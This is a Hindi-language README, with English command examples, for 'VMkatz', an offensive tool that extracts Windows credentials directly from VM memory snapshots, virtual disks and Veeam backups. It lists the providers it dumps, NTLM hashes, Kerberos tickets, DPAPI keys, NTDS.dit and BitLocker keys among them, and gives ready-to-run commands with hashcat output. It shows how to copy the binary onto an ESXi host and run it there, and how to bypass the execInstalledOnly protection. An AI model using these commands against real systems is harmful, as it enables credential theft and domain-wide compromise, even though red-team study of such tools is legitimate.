
VM मेमोरी स्नैपशॉट और वर्चुअल डिस्क से सीधे Windows क्रेडेंशियल निकालें
आप एक रेड टीम एंगेजमेंट के तीन सप्ताह में हैं। आप वर्चुअलाइज़ेशन क्लस्टर से जुड़े एक NAS पर पहुँचते हैं — सैकड़ों गीगाबाइट .vmdk, .vmsn, .sav वहीं मौजूद हैं। लेकिन आपका लिंक 200 KB/s देता है। एक ही 100 GB डिस्क को बाहर निकालने में छह दिन लगेंगे।
VMkatz इसलिए मौजूद है क्योंकि आपको वह चीज़ बाहर निकालने की ज़रूरत नहीं होनी चाहिए जिसे आप वहीं पढ़ सकते हैं। यह VM फ़ाइलों से सीधे Windows क्रेडेंशियल निकालता है — मेमोरी स्नैपशॉट, वर्चुअल डिस्क, Veeam बैकअप: NTLM हैश, Kerberos टिकट, DPAPI मास्टर की, LSA सीक्रेट, NTDS.dit, BitLocker की, ब्राउज़र सीक्रेट।
एकल स्टैटिक बाइनरी, ~3 MB। इसे ESXi होस्ट, Proxmox नोड, या NAS पर डालें। इसे किसी VM फ़ोल्डर पर इंगित करें और डिस्क इमेज के बजाय क्रेडेंशियल लेकर चले जाएँ।
वे सभी 9 SSP क्रेडेंशियल प्रोवाइडर जो mimikatz लागू करता है:
| प्रोवाइडर | डेटा | नोट्स |
|---|---|---|
| MSV1_0 | NT/LM हैश, SHA1 | पेज्ड एंट्रीज़ के लिए फ़िज़िकल-स्कैन फ़ॉलबैक |
| WDigest | प्लेनटेक्स्ट पासवर्ड | लिंक्ड-लिस्ट वॉक + .data फ़ॉलबैक |
| Kerberos | AES/RC4/DES की, टिकट (.kirbi/.ccache) | AVL ट्री वॉक + मुक्त सत्रों के लिए टिकट कार्विंग |
| TsPkg | प्लेनटेक्स्ट पासवर्ड | केवल RDP सत्र |
| DPAPI | मास्टर की कैश (GUID + डिक्रिप्टेड की) | ऑफ़लाइन DPAPI डिक्रिप्ट के लिए SHA1 मास्टरकी |
| SSP | प्लेनटेक्स्ट क्रेडेंशियल | msv1_0.dll में SspCredentialList |
| LiveSSP | प्लेनटेक्स्ट क्रेडेंशियल | livessp.dll आवश्यक (Win8 के बाद दुर्लभ) |
| Credman | संग्रहीत क्रेडेंशियल | हैश-टेबल + सिंगल-लिस्ट एन्यूमरेशन |
| CloudAP | Azure AD टोकन | स्थानीय-केवल लॉगऑन के लिए आमतौर पर खाली |
साथ ही: मेमोरी से BitLocker FVEK निष्कर्षण (FVEc/Cngb के लिए पूल टैग स्कैन)।
$DPAPImk$ — मोड 15300/15310/15900/15910)| फ़ॉर्मेट | एक्सटेंशन | स्रोत | स्थिति |
|---|---|---|---|
| VMware स्नैपशॉट | .vmsn + .vmem | Workstation, ESXi | परीक्षित |
| VMware एम्बेडेड स्नैपशॉट | .vmsn (बिना .vmem) | ESXi suspend | परीक्षित |
| VirtualBox सहेजे गए स्टेट | .sav | VirtualBox | परीक्षित |
| QEMU/KVM savevm स्टेट | स्वतः-पहचाना गया | Proxmox, QEMU | परीक्षित |
| QEMU/KVM ELF कोर डंप | .elf | virsh dump | परीक्षित |
| Hyper-V सहेजे गए स्टेट | .vmrs | Hyper-V 2016+ | परीक्षित |
| Veeam बैकअप | .vbk, .vib, .vrb | Veeam B&R | परीक्षित |
| VMware वर्चुअल डिस्क | .vmdk (स्पार्स + फ़्लैट) | Workstation, ESXi | परीक्षित |
| VirtualBox वर्चुअल डिस्क | .vdi | VirtualBox | परीक्षित |
| QEMU/KVM वर्चुअल डिस्क | .qcow2 | QEMU, Proxmox | परीक्षित |
| Hyper-V वर्चुअल डिस्क | .vhdx, .vhd | Hyper-V | परीक्षित |
| VMFS-5/6 रॉ SCSI डिवाइस | /dev/disks/... | ESXi (फ़ाइल लॉक बायपास करता है) | परीक्षित |
| LVM ब्लॉक डिवाइस | /dev/... | Proxmox LVM-thin | परीक्षित |
| रॉ रजिस्ट्री हाइव | SAM, SYSTEM, SECURITY | reg save | परीक्षित |
| रॉ NTDS.dit | ntds.dit + SYSTEM | डोमेन कंट्रोलर | परीक्षित |
| LSASS मिनीडंप | .dmp | procdump, Task Manager | परीक्षित |
| VM डायरेक्टरी | कोई भी फ़ोल्डर | सभी फ़ाइलों को स्वतः खोजता है | परीक्षित |
लक्ष्य OS: Windows Server 2003 से Windows Server 2025 / Windows 11 24H2 तक (x86 PAE + x64)।
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| प्रारूप | फ़्लैग | विवरण |
|---|---|---|
text | --format text (डिफ़ॉल्ट) | सत्र मेटाडेटा के साथ पूर्ण क्रेडेंशियल डंप |
brief | --format brief | प्रति-क्रेडेंशियल एक पंक्ति में संक्षिप्त सारांश |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump प्रारूप |
hashcat | --format hashcat | कच्चे हैश: मोड 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | मशीन-पठनीय, सभी फ़ील्ड |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
जब VIB सुरक्षा (execInstalledOnly) सक्षम हो, तो Python लोडर का उपयोग करें — सेटिंग को अक्षम करने की आवश्यकता नहीं है:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
VIB बायपास विवरण, VMFS रॉ डिवाइस एक्सेस और ऑटो-डिस्कवरी के लिए docs/esxi.md देखें।
VMkatz मॉड्यूलर है। विशेषताओं को कंपाइल समय पर सक्षम/अक्षम किया जा सकता है:
| विशेषता | विवरण | डिफ़ॉल्ट |
|---|---|---|
vmware | VMware .vmsn/.vmem स्नैपशॉट समर्थन | हाँ |
vbox | VirtualBox .sav सेव्ड-स्टेट समर्थन | हाँ |
qemu | QEMU/KVM ELF कोर डंप + Proxmox savevm | हाँ |
hyperv | Hyper-V .vmrs/.bin/.raw डंप समर्थन | हाँ |
sam | डिस्क निष्कर्षण (SAM/LSA/DCC2) + डिस्क फ़ॉर्मेट हैंडलर | हाँ |
ntds.dit | NTDS.dit AD निष्कर्षण। sam आवश्यक है | हाँ |
carve | आंशिक/कटी हुई मेमोरी से अपक्षयित निष्कर्षण | हाँ |
dump | प्रक्रिया मेमोरी को minidump के रूप में डंप करें | हाँ |
vmfs | ESXi SCSI डिवाइस के लिए VMFS-5/6 रॉ पार्सर। sam आवश्यक है | हाँ |
chrome | ब्राउज़र रहस्य निष्कर्षण (Chromium + Firefox)। sam आवश्यक है | नहीं |
veeam | Veeam VBK/VIB/VRB बैकअप समर्थन। sam आवश्यक है | नहीं |
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
cargo build --release --features chrome # Add chrome module
cargo build --release --features veeam # Add Veeam backup support